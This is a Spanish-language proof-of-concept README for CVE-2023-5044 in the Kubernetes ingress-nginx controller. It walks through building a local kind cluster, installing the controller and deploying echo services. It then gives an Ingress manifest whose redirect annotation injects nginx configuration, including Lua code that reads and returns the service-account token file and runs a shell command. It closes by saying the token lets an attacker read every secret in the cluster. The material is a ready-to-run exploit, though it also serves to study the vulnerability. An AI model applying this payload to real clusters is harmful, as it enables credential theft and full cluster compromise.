kubernetesbachelor/cve-2023-5044Poc para CVE 2023 5044
PoC para CVE-2023-5044
Kind: v0.20.0
Kubectl: v1.29.3
Docker: v26.0.0
Dale a Docker los privilegios correctos
sudo usermod -aG docker $USER && newgrp docker
Inicia el clúster con extraPortMaping y node-labels para prepararlo para un ingress.
cat <<EOF | kind create cluster --config=-
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: InitConfiguration
nodeRegistration:
kubeletExtraArgs:
node-labels: "ingress-ready=true"
extraPortMappings:
- containerPort: 80
hostPort: 80
protocol: TCP
- containerPort: 443
hostPort: 443
protocol: TCP
EOF
Instala el controlador de ingress de nginx
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml
Archivo .yaml para configurar un servicio http-echo simple sin el ingress
kind: Pod
apiVersion: v1
metadata:
name: foo-app
labels:
app: foo
spec:
containers:
- command:
- /agnhost
- netexec
- --http-port
- "8080"
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: foo-app
---
kind: Service
apiVersion: v1
metadata:
name: foo-service
spec:
selector:
app: foo
ports:
# Default port used by the image
- port: 8080
---
kind: Pod
apiVersion: v1
metadata:
name: bar-app
labels:
app: bar
spec:
containers:
- command:
- /agnhost
- netexec
- --http-port
- "8080"
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: bar-app
---
kind: Service
apiVersion: v1
metadata:
name: bar-service
spec:
selector:
app: bar
ports:
# Default port used by the image
- port: 8080
---
Archivo .yaml para el ingress con el exploit
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: exploit-ingress
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /$2
nginx.ingress.kubernetes.io/permanent-redirect: https://www.google.com;}location ~* "^/exploit(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/exploit(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'
spec:
rules:
- http:
paths:
- pathType: Prefix
path: /foo(/|$)(.*)
backend:
service:
name: foo-service
port:
number: 8080
- pathType: Prefix
path: /bar(/|$)(.*)
backend:
service:
name: bar-service
port:
number: 8080
"localhost/exploit" devolverá ahora el Service Account Token para ingress-NGINX. Con la configuración por defecto, este Service Account Token se usará para leer todos los secretos de un clúster después de decodificarlos en base 64.